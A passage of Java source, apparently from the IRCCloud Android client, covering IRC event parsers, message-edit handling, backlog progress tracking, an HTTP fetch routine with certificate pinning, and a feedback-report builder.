user.get(\"away\").asBoolean()) ? 1 : 0, user.hasNonNull(\"display_name\") ? user.get(\"display_name\").asText() : null, false);\n }\n }\n mBuffers.dirty = true;\n if (!backlog)\n notifyHandlers(EVENT_CHANNELINIT, channel);\n }\n });\n put(\"channel_topic\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mChannels.updateTopic(object.bid(), object.getString(\"topic\"), object.getLong(\"eid\") / 1000000, object.has(\"author\") ? object.getString(\"author\") : object.getString(\"server\"));\n notifyHandlers(EVENT_CHANNELTOPIC, object);\n }\n }\n });\n put(\"channel_url\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mChannels.updateURL(object.bid(), object.getString(\"url\"));\n }\n });\n put(\"channel_mode\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mChannels.updateMode(object.bid(), object.getString(\"newmode\"), object.getJsonObject(\"ops\"), false);\n notifyHandlers(EVENT_CHANNELMODE, object);\n }\n }\n });\n put(\"channel_mode_is\", get(\"channel_mode\"));\n put(\"channel_timestamp\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (!backlog) {\n mChannels.updateTimestamp(object.bid(), object.getLong(\"timestamp\"));\n notifyHandlers(EVENT_CHANNELTIMESTAMP, object);\n }\n }\n });\n put(\"joined_channel\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if(object.type().startsWith(\"you_\"))\n mBuffers.dirty = true;\n if (!backlog) {\n mUsers.createUser(object.cid(), object.bid(), object.getString(\"nick\"), object.getString(\"hostmask\"), \"\", object.getString(\"ircserver\"), 0, object.getString(\"display_name\"));\n notifyHandlers(EVENT_JOIN, object);\n }\n }\n });\n put(\"you_joined_channel\", get(\"joined_channel\"));\n put(\"parted_channel\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if(object.type().startsWith(\"you_\"))\n mBuffers.dirty = true;\n if (!backlog) {\n mUsers.deleteUser(object.bid(), object.getString(\"nick\"));\n if (object.type().equals(\"you_parted_channel\")) {\n mChannels.deleteChannel(object.bid());\n mUsers.deleteUsersForBuffer(object.bid());\n }\n notifyHandlers(EVENT_PART, object);\n }\n }\n });\n put(\"you_parted_channel\", get(\"parted_channel\"));\n put(\"quit\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n if(object.type().startsWith(\"you_\"))\n mBuffers.dirty = true;\n mUsers.deleteUser(object.bid(), object.getString(\"nick\"));\n notifyHandlers(EVENT_QUIT, object);\n }\n }\n });\n put(\"quit_server\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mBuffers.dirty = true;\n notifyHandlers(EVENT_QUIT, object);\n }\n }\n });\n put(\"kicked_channel\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mUsers.deleteUser(object.bid(), object.getString(\"nick\"));\n if (object.type().equals(\"you_kicked_channel\")) {\n mChannels.deleteChannel(object.bid());\n mUsers.deleteUsersForBuffer(object.bid());\n mBuffers.dirty = true;\n }\n notifyHandlers(EVENT_KICK, object);\n }\n }\n });\n put(\"you_kicked_channel\", get(\"kicked_channel\"));\n\n //Member list events\n put(\"nickchange\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mUsers.updateNick(object.bid(), object.getString(\"oldnick\"), object.getString(\"newnick\"));\n if (object.type().equals(\"you_nickchange\")) {\n Server s = mServers.getServer(object.cid());\n if(s != null)\n s.setNick(object.getString(\"newnick\"));\n NotificationsList.getInstance().updateServerNick(object.cid(), object.getString(\"newnick\"), s != null ? s.getAvatarURL() : null, s != null && s.isSlack());\n }\n notifyHandlers(EVENT_NICKCHANGE, object);\n }\n }\n });\n put(\"you_nickchange\", get(\"nickchange\"));\n put(\"display_name_change\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (!backlog) {\n mUsers.updateDisplayName(object.cid(), object.getString(\"nick\"), object.getString(\"display_name\"));\n notifyHandlers(EVENT_DISPLAYNAMECHANGE, object);\n }\n }\n });\n put(\"user_channel_mode\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n mUsers.updateMode(object.bid(), object.getString(\"nick\"), object.getString(\"newmode\"));\n notifyHandlers(EVENT_USERCHANNELMODE, object);\n }\n }\n });\n put(\"member_updates\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n JsonNode updates = object.getJsonObject(\"updates\");\n Iterator<Map.Entry<String, JsonNode>> i = updates.fields();\n while (i.hasNext()) {\n Map.Entry<String, JsonNode> e = i.next();\n JsonNode user = e.getValue();\n mUsers.updateAway(object.cid(), user.get(\"nick\").asText(), user.get(\"away\").asBoolean() ? 1 : 0);\n mUsers.updateHostmask(object.bid(), user.get(\"nick\").asText(), user.get(\"usermask\").asText());\n }\n if (!backlog)\n notifyHandlers(EVENT_MEMBERUPDATES, null);\n }\n });\n put(\"user_away\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null && b.isConsole()) {\n mUsers.updateAwayMsg(object.cid(), object.getString(\"nick\"), 1, object.getString(\"msg\"));\n b = mBuffers.getBufferByName(object.cid(), object.getString(\"nick\"));\n if (b != null)\n b.setAway_msg(object.getString(\"msg\"));\n if (!backlog) {\n notifyHandlers(EVENT_AWAY, object);\n }\n }\n }\n });\n put(\"away\", get(\"user_away\"));\n put(\"user_back\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null && b.isConsole()) {\n mUsers.updateAwayMsg(object.cid(), object.getString(\"nick\"), 0, \"\");\n b = mBuffers.getBufferByName(object.cid(), object.getString(\"nick\"));\n if (b != null)\n b.setAway_msg(\"\");\n if (!backlog) {\n notifyHandlers(EVENT_AWAY, object);\n }\n }\n }\n });\n put(\"self_away\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (!backlog) {\n mUsers.updateAwayMsg(object.cid(), object.getString(\"nick\"), 1, object.getString(\"away_msg\"));\n if(mServers.getServer(object.cid()) != null)\n mServers.getServer(object.cid()).setAway(object.getString(\"away_msg\"));\n notifyHandlers(EVENT_AWAY, object);\n }\n }\n });\n put(\"self_back\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mUsers.updateAwayMsg(object.cid(), object.getString(\"nick\"), 0, \"\");\n if(mServers.getServer(object.cid()) != null)\n mServers.getServer(object.cid()).setAway(\"\");\n if (!backlog)\n notifyHandlers(EVENT_SELFBACK, object);\n }\n });\n put(\"self_details\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Server s = mServers.getServer(object.cid());\n if(s != null) {\n s.setUsermask(object.getString(\"usermask\"));\n if(object.has(\"server_realname\"))\n s.setServerRealname(object.getString(\"server_realname\"));\n }\n Event e = mEvents.addEvent(object);\n if (!backlog) {\n notifyHandlers(EVENT_SELFDETAILS, e);\n e = mEvents.getEvent(e.eid + 1, e.bid);\n if(e != null)\n notifyHandlers(EVENT_SELFDETAILS, e);\n }\n }\n });\n put(\"user_mode\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n Server s = mServers.getServer(object.cid());\n if(s != null)\n s.setMode(object.getString(\"newmode\"));\n notifyHandlers(EVENT_USERMODE, object);\n }\n }\n });\n\n //Message updates\n put(\"empty_msg\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n pendingEdits.add(object);\n process_pending_edits(backlog);\n }\n });\n\n //Various lists\n put(\"ban_list\", new BroadcastParser(EVENT_BANLIST));\n put(\"accept_list\", new BroadcastParser(EVENT_ACCEPTLIST));\n put(\"names_reply\", new BroadcastParser(EVENT_NAMESLIST));\n put(\"whois_response\", new BroadcastParser(EVENT_WHOIS));\n put(\"list_response_fetching\", new BroadcastParser(EVENT_LISTRESPONSEFETCHING));\n put(\"list_response_toomany\", new BroadcastParser(EVENT_LISTRESPONSETOOMANY));\n put(\"list_response\", new BroadcastParser(EVENT_LISTRESPONSE));\n put(\"map_list\", new BroadcastParser(EVENT_SERVERMAPLIST));\n put(\"quiet_list\", new BroadcastParser(EVENT_QUIETLIST));\n put(\"ban_exception_list\", new BroadcastParser(EVENT_BANEXCEPTIONLIST));\n put(\"invite_list\", new BroadcastParser(EVENT_INVITELIST));\n put(\"chanfilter_list\", new BroadcastParser(EVENT_CHANFILTERLIST));\n put(\"channel_query\", new BroadcastParser(EVENT_CHANNELQUERY));\n put(\"text\", new BroadcastParser(EVENT_TEXTLIST));\n put(\"who_special_response\", new BroadcastParser(EVENT_WHOSPECIALRESPONSE));\n put(\"modules_list\", new BroadcastParser(EVENT_MODULESLIST));\n put(\"links_response\", new BroadcastParser(EVENT_LINKSRESPONSE));\n put(\"whowas_response\", new BroadcastParser(EVENT_WHOWAS));\n put(\"trace_response\", new BroadcastParser(EVENT_TRACERESPONSE));\n put(\"export_finished\", new BroadcastParser(EVENT_LOGEXPORTFINISHED));\n put(\"avatar_change\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n User u = mUsers.getUser(object.bid(), object.getString(\"nick\"));\n if(u != null) {\n Event e = new Event();\n e.cid = object.cid();\n e.from = object.getString(\"nick\");\n e.type = \"buffer_msg\";\n e.hostmask = u.hostmask;\n e.avatar = object.getString(\"avatar\");\n e.avatar_url = object.getString(\"avatar_url\");\n\n String avatar_url = e.getAvatarURL(AvatarsList.SHORTCUT_ICON_SIZE());\n AvatarsList.setAvatarURL(object.cid(), object.getString(\"nick\"), System.currentTimeMillis() * 1000L, avatar_url);\n RecentConversationsList.getInstance().publishShortcuts();\n NotificationsList.getInstance().showNotificationsNow();\n }\n if(object.getBoolean(\"self\")) {\n Server s = mServers.getServer(object.cid());\n if (s != null) {\n s.setAvatar(object.getString(\"avatar\"));\n s.setAvatarURL(object.getString(\"avatar_url\"));\n\n Event e = new Event();\n e.cid = s.getCid();\n e.from = s.getNick();\n e.type = \"buffer_msg\";\n e.hostmask = s.getUsermask();\n e.avatar = s.getAvatar();\n e.avatar_url = s.getAvatarURL();\n\n String avatar_url = e.getAvatarURL(AvatarsList.SHORTCUT_ICON_SIZE());\n\n NotificationsList.getInstance().updateServerNick(object.cid(), object.getString(\"nick\"), avatar_url, s.isSlack());\n }\n }\n notifyHandlers(EVENT_AVATARCHANGE, object);\n }\n });\n put(\"who_response\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (!backlog) {\n Buffer b = mBuffers.getBufferByName(object.cid(), object.getString(\"subject\"));\n if (b != null) {\n JsonNode users = object.getJsonNode(\"users\");\n for (int i = 0; i < users.size(); i++) {\n JsonNode user = users.get(i);\n mUsers.updateHostmask(b.getBid(), user.get(\"nick\").asText(), user.get(\"usermask\").asText());\n mUsers.updateAway(b.getCid(), user.get(\"nick\").asText(), user.get(\"away\").asBoolean() ? 1 : 0);\n }\n }\n notifyHandlers(EVENT_WHOLIST, object);\n }\n }\n });\n put(\"time\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Event e = mEvents.addEvent(object);\n if (!backlog) {\n notifyHandlers(EVENT_ALERT, object);\n notifyHandlers(EVENT_BUFFERMSG, e);\n }\n }\n });\n put(\"channel_topic_is\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBufferByName(object.cid(), object.getString(\"chan\"));\n if (b != null) {\n Channel c = mChannels.getChannelForBuffer(b.getBid());\n if (c != null) {\n c.topic_author = object.has(\"author\") ? object.getString(\"author\") : object.getString(\"server\");\n c.topic_time = object.getLong(\"time\");\n c.topic_text = object.getString(\"text\");\n }\n }\n if (!backlog)\n notifyHandlers(EVENT_CHANNELTOPICIS, object);\n }\n });\n put(\"watch_status\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n object.setEid(System.currentTimeMillis() * 1000L);\n Event e = mEvents.addEvent(object);\n if (!backlog) {\n notifyHandlers(EVENT_WATCHSTATUS, object);\n notifyHandlers(EVENT_BUFFERMSG, e);\n }\n }\n });\n }};\n\n //https://stackoverflow.com/a/11459962\n private static JsonNode mergeJsonNode(JsonNode mainNode, JsonNode updateNode) {\n Iterator<String> fieldNames = updateNode.fieldNames();\n while (fieldNames.hasNext()) {\n String fieldName = fieldNames.next();\n JsonNode jsonNode = mainNode.get(fieldName);\n // if field exists and is an embedded object\n if (jsonNode != null && jsonNode.isObject()) {\n mergeJsonNode(jsonNode, updateNode.get(fieldName));\n }\n else {\n if (mainNode instanceof ObjectNode) {\n // Overwrite field\n JsonNode value = updateNode.get(fieldName);\n ((ObjectNode) mainNode).put(fieldName, value);\n }\n }\n }\n\n return mainNode;\n }\n\n private synchronized void process_pending_edits(boolean backlog) {\n ArrayList<IRCCloudJSONObject> edits = pendingEdits;\n pendingEdits = new ArrayList<>();\n\n for(IRCCloudJSONObject o : edits) {\n JsonNode entities = o.getJsonNode(\"entities\");\n if(entities != null) {\n if (entities.has(\"delete\")) {\n Event e = mEvents.getEvent(o.bid(), entities.get(\"delete\").asText());\n if (e != null) {\n mEvents.deleteEvent(e.eid, e.bid);\n if(!backlog)\n notifyHandlers(EVENT_MESSAGECHANGE, o);\n } else {\n pendingEdits.add(o);\n }\n } else if(entities.has(\"edit\")) {\n Event e = mEvents.getEvent(o.bid(), entities.get(\"edit\").asText());\n if(e != null) {\n if (o.eid() >= e.lastEditEID) {\n if (entities.has(\"edit_text\")) {\n e.msg = TextUtils.htmlEncode(Normalizer.normalize(entities.get(\"edit_text\").asText(), Normalizer.Form.NFC)).replace(\" \", \"&nbsp; \");\n if (e.msg.startsWith(\" \"))\n e.msg = \"&nbsp;\" + e.msg.substring(1);\n e.edited = true;\n if(e.entities instanceof ObjectNode) {\n if(e.entities.has(\"mentions\"))\n ((ObjectNode)e.entities).remove(\"mentions\");\n if(e.entities.has(\"mention_data\"))\n ((ObjectNode)e.entities).remove(\"mention_data\");\n }\n }\n if(e.entities != null) {\n mergeJsonNode(e.entities, entities);\n } else {\n e.entities = entities;\n }\n e.lastEditEID = o.eid();\n e.formatted = null;\n e.html = null;\n e.ready_for_display = false;\n e.linkified = false;\n }\n if(!backlog)\n notifyHandlers(EVENT_MESSAGECHANGE, o);\n } else {\n pendingEdits.add(o);\n }\n }\n }\n }\n\n if(pendingEdits.size() > 0)\n IRCCloudLog.Log(Log.INFO, TAG, \"Queued pending edits: \" + pendingEdits.size());\n }\n\n public synchronized void parse_object(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n cancel_idle_timer();\n //Log.d(TAG, \"Backlog: \" + backlog + \" count: \" + currentcount + \" New event: \" + object);\n if (!object.has(\"type\")) {\n //Log.d(TAG, \"Response: \" + object);\n if (object.has(\"success\") && !object.getBoolean(\"success\") && object.has(\"message\")) {\n IRCCloudLog.Log(Log.ERROR, TAG, \"Error: \" + object);\n if(object.getString(\"message\").equals(\"auth\")) {\n logout();\n notifyHandlers(EVENT_AUTH_FAILED, object);\n } else if(object.getString(\"message\").equals(\"set_shard\")) {\n disconnect();\n ready = false;\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getSharedPreferences(\"prefs\", 0).edit();\n editor.putString(\"session_key\", object.getString(\"cookie\"));\n if (object.has(\"websocket_path\")) {\n IRCCLOUD_PATH = object.getString(\"websocket_path\");\n }\n editor.putString(\"path\", NetworkConnection.IRCCLOUD_PATH);\n editor.apply();\n if (object.has(\"api_host\")) {\n set_api_host(object.getString(\"api_host\"));\n }\n connect();\n } else if(object.getString(\"message\").equals(\"temp_unavailable\")) {\n notifyHandlers(EVENT_TEMP_UNAVAILABLE, object);\n } else if(object.getString(\"message\").equals(\"invalid_nick\")) {\n notifyHandlers(EVENT_ALERT, object);\n } else if(backlog) {\n disconnect();\n fail();\n }\n }\n if (object.has(\"_reqid\") && resultCallbacks.containsKey(object.getInt(\"_reqid\"))) {\n resultCallbacks.get(object.getInt(\"_reqid\")).onIRCResult(object);\n resultCallbacks.remove(object.getInt(\"_reqid\"));\n }\n return;\n }\n String type = object.type();\n if (type != null && type.length() > 0) {\n //notifyHandlers(EVENT_DEBUG, \"Type: \" + type + \" BID: \" + object.bid() + \" EID: \" + object.eid());\n //IRCCloudLog.Log(\"New event: \" + type);\n //Log.d(TAG, \"New event: \" + type);\n if ((backlog || accrued > 0) && object.bid() > -1 && object.bid() != currentBid && object.eid() > 0) {\n if(!backlog) {\n if(firstEid == -1) {\n firstEid = object.eid();\n if (firstEid > highest_eid) {\n Log.w(\"IRCCloud\", \"Backlog gap detected, purging cache and reconnecting\");\n highest_eid = 0;\n streamId = null;\n failCount = 0;\n if (client != null)\n client.disconnect();\n return;\n }\n }\n }\n currentBid = object.bid();\n currentcount = 0;\n }\n Parser p = parserMap.get(type);\n if (p != null) {\n p.parse(object, backlog);\n } else if (!parserMap.containsKey(type)) {\n IRCCloudLog.Log(Log.WARN, TAG, \"Unhandled type: \" + object.type());\n //Log.w(TAG, \"Unhandled type: \" + object);\n }\n\n if (backlog || type.equals(\"backlog_complete\") || accrued > 0) {\n if ((object.bid() > -1 || type.equals(\"backlog_complete\")) && !type.equals(\"makebuffer\") && !type.equals(\"channel_init\")) {\n currentcount++;\n if (object.bid() != currentBid) {\n currentBid = object.bid();\n currentcount = 0;\n }\n }\n }\n if (backlog || type.equals(\"backlog_complete\")) {\n if (numbuffers > 0 && currentcount < 100) {\n notifyHandlers(EVENT_PROGRESS, ((totalbuffers + ((float) currentcount / (float) 100)) / numbuffers) * 1000.0f);\n }\n } else if (accrued > 0) {\n notifyHandlers(EVENT_PROGRESS, ((float) currentcount++ / (float) accrued) * 1000.0f);\n }\n if((!backlog || numbuffers > 0) && object.eid() > highest_eid) {\n highest_eid = object.eid();\n /*if(!backlog) {\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.putLong(\"highest_eid\", highest_eid);\n editor.apply();\n }*/\n }\n }\n\n if (!backlog && idle_interval > 0 && accrued < 1)\n schedule_idle_timer();\n }\n\n public boolean isWifi() {\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo ni = cm.getActiveNetworkInfo();\n return ni != null && ni.getType() == ConnectivityManager.TYPE_WIFI;\n }\n\n public String fetch(URL url, String postdata, String sk, String token, HashMap<String, String>headers) throws Exception {\n if(BuildConfig.MOCK_DATA)\n return null;\n\n HttpURLConnection conn = null;\n\n Proxy proxy = null;\n int port = -1;\n\n String host = System.getProperty(\"http.proxyHost\", null);\n try {\n port = Integer.parseInt(System.getProperty(\"http.proxyPort\", \"8080\"));\n } catch (NumberFormatException e) {\n port = -1;\n }\n\n if (host != null && host.length() > 0 && !host.equalsIgnoreCase(\"localhost\") && !host.equalsIgnoreCase(\"127.0.0.1\") && port > 0) {\n InetSocketAddress proxyAddr = new InetSocketAddress(host, port);\n proxy = new Proxy(Proxy.Type.HTTP, proxyAddr);\n }\n\n if (host != null && host.length() > 0 && !host.equalsIgnoreCase(\"localhost\") && !host.equalsIgnoreCase(\"127.0.0.1\") && port > 0) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Requesting via proxy: \" + host);\n }\n\n HttpMetric metric = null;\n try {\n metric = FirebasePerformance.getInstance().newHttpMetric(url, postdata != null ? FirebasePerformance.HttpMethod.POST : FirebasePerformance.HttpMethod.GET);\n } catch (Exception e) {\n\n }\n if (url.getProtocol().toLowerCase().equals(\"https\")) {\n HttpsURLConnection https = (HttpsURLConnection) ((proxy != null) ? url.openConnection(proxy) : url.openConnection(Proxy.NO_PROXY));\n https.setSSLSocketFactory(TrustKit.getInstance().getSSLSocketFactory(url.getHost()));\n conn = https;\n } else {\n conn = (HttpURLConnection) ((proxy != null) ? url.openConnection(proxy) : url.openConnection(Proxy.NO_PROXY));\n }\n\n conn.setReadTimeout(30000);\n conn.setConnectTimeout(30000);\n conn.setUseCaches(false);\n conn.setRequestProperty(\"User-Agent\", useragent);\n conn.setRequestProperty(\"Accept\", \"application/json\");\n if(headers != null) {\n for (String key : headers.keySet()) {\n conn.setRequestProperty(key, headers.get(key));\n }\n }\n if (sk != null && url.getProtocol().equals(\"https\") && url.getUserInfo() == null && (url.getHost().equals(IRCCLOUD_HOST) || (!BuildConfig.ENTERPRISE && url.getHost().endsWith(\".irccloud.com\"))))\n conn.setRequestProperty(\"Cookie\", \"session=\" + sk);\n if (token != null)\n conn.setRequestProperty(\"x-auth-formtoken\", token);\n if (postdata != null) {\n conn.setRequestMethod(\"POST\");\n conn.setDoOutput(true);\n conn.setRequestProperty(\"Content-type\", \"application/x-www-form-urlencoded\");\n OutputStream ostr = null;\n try {\n ostr = conn.getOutputStream();\n ostr.write(postdata.getBytes());\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n } finally {\n if (ostr != null)\n ostr.close();\n }\n if(metric != null)\n metric.setRequestPayloadSize(postdata.length());\n }\n InputStream is = null;\n String response = \"\";\n\n try {\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo ni = cm.getActiveNetworkInfo();\n if (ni != null && ni.getType() == ConnectivityManager.TYPE_WIFI) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Loading via WiFi\");\n } else {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Loading via mobile\");\n }\n } catch (Exception e) {\n }\n\n if(metric != null)\n metric.start();\n\n try {\n if (conn.getInputStream() != null) {\n is = conn.getInputStream();\n }\n } catch (IOException e) {\n if (conn.getErrorStream() != null) {\n is = conn.getErrorStream();\n } else {\n printStackTraceToCrashlytics(e);\n }\n }\n\n if (is != null) {\n ByteArrayOutputStream os = new ByteArrayOutputStream();\n byte[] buffer = new byte[8192];\n int len;\n while ((len = is.read(buffer)) != -1) {\n os.write(buffer, 0, len);\n }\n response = os.toString(\"UTF-8\");\n }\n if(metric != null) {\n metric.setResponsePayloadSize(response.length());\n metric.setHttpResponseCode(conn.getResponseCode());\n metric.setResponseContentType(conn.getContentType());\n metric.stop();\n }\n conn.disconnect();\n return response;\n }\n\n public void addHandler(IRCEventHandler handler) {\n synchronized (handlers) {\n if (!handlers.contains(handler))\n handlers.add(handler);\n if (saveTimerTask != null)\n saveTimerTask.cancel();\n saveTimerTask = null;\n }\n }\n\n @TargetApi(24)\n public void removeHandler(IRCEventHandler handler) {\n synchronized (handlers) {\n handlers.remove(handler);\n }\n }\n\n public boolean uploadsAvailable() {\n return userInfo != null && !userInfo.uploads_disabled;\n }\n\n public boolean isVisible() {\n return (handlers != null && handlers.size() > 0);\n }\n\n public void notifyHandlers(int message, Object object) {\n notifyHandlers(message, object, null);\n }\n\n public void notifyHandlers(int message, final Object object, IRCEventHandler exclude) {\n synchronized (handlers) {\n int bid;\n\n switch(message) {\n case EVENT_OOB_START:\n numbuffers = 0;\n totalbuffers = 0;\n currentBid = -1;\n break;\n case EVENT_OOB_END:\n bid = ((OOBFetcher)object).getBid();\n ArrayList<Buffer> buffers = mBuffers.getBuffers();\n for (Buffer b : buffers) {\n if (b.getTimeout() > 0) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Requesting backlog for timed-out buffer: bid\" + b.getBid());\n request_backlog(b.getCid(), b.getBid(), 0);\n }\n\n if(oobTasks.size() > 10)\n break;\n }\n NotificationsList.getInstance().deleteOldNotifications();\n NotificationsList.getInstance().pruneNotificationChannels();\n if (bid != -1) {\n Buffer b = mBuffers.getBuffer(bid);\n if(b != null) {\n b.setTimeout(0);\n b.setDeferred(0);\n }\n }\n oobTasks.remove(bid);\n if(oobTasks.size() > 0)\n oobTasks.values().toArray(new OOBFetcher[oobTasks.values().size()])[0].connect();\n break;\n case EVENT_OOB_FAILED:\n bid = ((OOBFetcher)object).getBid();\n if (bid == -1) {\n IRCCloudLog.Log(Log.ERROR, TAG, \"Failed to fetch the initial backlog, reconnecting!\");\n /*try {\n IRCCloudDatabase.getInstance().endTransaction();\n } catch (IllegalStateException e) {\n\n }*/\n streamId = null;\n highest_eid = 0;\n if (client != null)\n client.disconnect();\n return;\n } else {\n Buffer b = mBuffers.getBuffer(bid);\n if (b != null && b.getTimeout() == 1) {\n //TODO: move this\n int retryDelay = 1000;\n IRCCloudLog.Log(Log.WARN, TAG, \"Failed to fetch backlog for timed-out buffer, retrying in \" + retryDelay + \"ms\");\n idleTimer.schedule(new TimerTask() {\n public void run() {\n ((OOBFetcher)object).connect();\n }\n }, retryDelay);\n retryDelay *= 2;\n } else {\n IRCCloudLog.Log(Log.ERROR, TAG, \"Failed to fetch backlog\");\n synchronized (oobTasks) {\n oobTasks.remove(bid);\n if(oobTasks.size() > 0)\n oobTasks.values().toArray(new OOBFetcher[oobTasks.values().size()])[0].connect();\n }\n }\n }\n break;\n default:\n break;\n }\n\n if (message == EVENT_PROGRESS || accrued == 0) {\n for (int i = 0; i < handlers.size(); i++) {\n IRCEventHandler handler = handlers.get(i);\n if (handler != exclude) {\n handler.onIRCEvent(message, object);\n }\n }\n }\n }\n }\n\n public UserInfo getUserInfo() {\n return userInfo;\n }\n\n public class UserInfo {\n public int id;\n public String name;\n public String email;\n public boolean verified;\n public int last_selected_bid;\n public long connections;\n public long active_connections;\n public long join_date;\n public boolean auto_away;\n public String limits_name;\n public ObjectNode limits;\n public int num_invites;\n public JSONObject prefs;\n public String highlights;\n public boolean uploads_disabled;\n public String avatar;\n\n public UserInfo() {\n }\n\n public UserInfo(IRCCloudJSONObject object) {\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.putString(\"userinfo\", object.toString());\n editor.apply();\n\n id = object.getInt(\"id\");\n IRCCloudLog.Log(Log.INFO, \"IRCCloud\", \"Setting UserInfo for uid\" + id);\n\n name = object.getString(\"name\");\n email = object.getString(\"email\");\n verified = object.getBoolean(\"verified\");\n last_selected_bid = object.getInt(\"last_selected_bid\");\n connections = object.getLong(\"num_connections\");\n active_connections = object.getLong(\"num_active_connections\");\n join_date = object.getLong(\"join_date\");\n auto_away = object.getBoolean(\"autoaway\");\n uploads_disabled = object.has(\"uploads_disabled\") && object.getBoolean(\"uploads_disabled\");\n if(object.has(\"avatar\") && object.getString(\"avatar\").length() > 0 && !object.getString(\"avatar\").equals(\"null\"))\n avatar = object.getString(\"avatar\");\n else\n avatar = null;\n\n if (object.has(\"prefs\") && object.getString(\"prefs\").length() > 0 && !object.getString(\"prefs\").equals(\"null\")) {\n try {\n IRCCloudLog.Log(Log.INFO, \"IRCCloud\", \"Prefs: \" + object.getString(\"prefs\"));\n prefs = new JSONObject(object.getString(\"prefs\"));\n } catch (JSONException e) {\n IRCCloudLog.Log(Log.ERROR, \"IRCCloud\", \"Unable to parse prefs: \" + object.getString(\"prefs\"));\n IRCCloudLog.LogException(e);\n prefs = null;\n }\n } else {\n IRCCloudLog.Log(Log.INFO, \"IRCCloud\", \"User prefs not set\");\n prefs = null;\n }\n\n limits_name = object.getString(\"limits_name\");\n limits = object.getJsonObject(\"limits\");\n\n if (object.has(\"highlights\")) {\n JsonNode h = object.getJsonNode(\"highlights\");\n highlights = \"\";\n for (int i = 0; i < h.size(); i++) {\n if (highlights.length() > 0)\n highlights += \", \";\n highlights += h.get(i).asText();\n }\n }\n }\n }\n\n public static void printStackTraceToCrashlytics(Exception e) {\n StringWriter sw = new StringWriter();\n e.printStackTrace(new PrintWriter(sw));\n String stack = sw.toString();\n for(String s : stack.split(\"\\n\")) {\n IRCCloudLog.Log(Log.WARN, TAG, s);\n }\n }\n\n public static void sendFeedbackReport(Activity ctx) {\n try {\n String bugReport = \"Briefly describe the issue below:\\n\\n\\n\\n\\n\" +\n \"===========\\n\" +\n \"UID: \" + PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getString(\"uid\", \"\") + \"\\n\" +\n \"App version: \" + ctx.getPackageManager().getPackageInfo(ctx.getPackageName(), 0).versionName + \" (\" + ctx.getPackageManager().getPackageInfo(ctx.getPackageName(), 0).versionCode + \")\\n\" +\n \"Device: \" + Build.MODEL + \"\\n\" +\n \"Android version: \" + Build.VERSION.RELEASE + \"\\n\" +\n \"Firmware fingerprint: \" + Build.FINGERPRINT + \"\\n\";\n\n File f = new File(ctx.getFilesDir(), \"logs\");\n f.mkdirs();\n File output = new File(f, \"log.txt\");\n\n FileOutputStream out = new FileOutputStream(output);\n out.write(IRCCloudLog.lines().getBytes());\n out.close();\n\n Intent email = new Intent(Intent.ACTION_SENDTO, Uri.parse(\"mailto:team@irccloud.com\"));\n email.putExtra(Intent.EXTRA_SUBJECT, 